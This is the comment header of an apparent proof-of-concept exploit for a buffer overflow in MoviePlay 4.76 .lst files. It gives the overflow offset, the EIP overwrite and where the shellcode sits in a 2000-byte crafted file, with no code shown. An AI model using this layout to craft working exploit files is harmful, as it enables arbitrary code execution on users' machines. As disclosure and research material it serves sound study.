#MoviePlay 4.76 .lst file Local buffer over-flow.
#Credit to n00b for writing poc code..Pmsl
#Tested on :Win xp sp2 eng.
#Vendor web site: Netfarer.com MoviePlay 4.76
#Buffer-over flow reported : Jan 02 2007 12:00AM
#Credit goes to Parvez Anwar for finding the bug.
#################################################################################
#MoviePlay is prone to a remote buffer-overflow vulnerability because it
#fails to properly bounds-check user-supplied input before copying it to
#an insufficiently sized memory buffer. Exploiting this vulnerability
#allows attackers to execute arbitrary machine code in the context of
#the affected application..
#I looked all over for a poc code or even some
#thing to back the claim up nothing was found
#And as i was board so i decided to write a poc for this.
#1053byte's next 4 bytes over write eip then esp was pointing
#4 bytes after no need for any nop sled or any-thing...
#1053 bytes of buffer --> 4 bytes ret --> 351 shell-code --> 592 bytes of buffer.
#File is 2000 byte's.
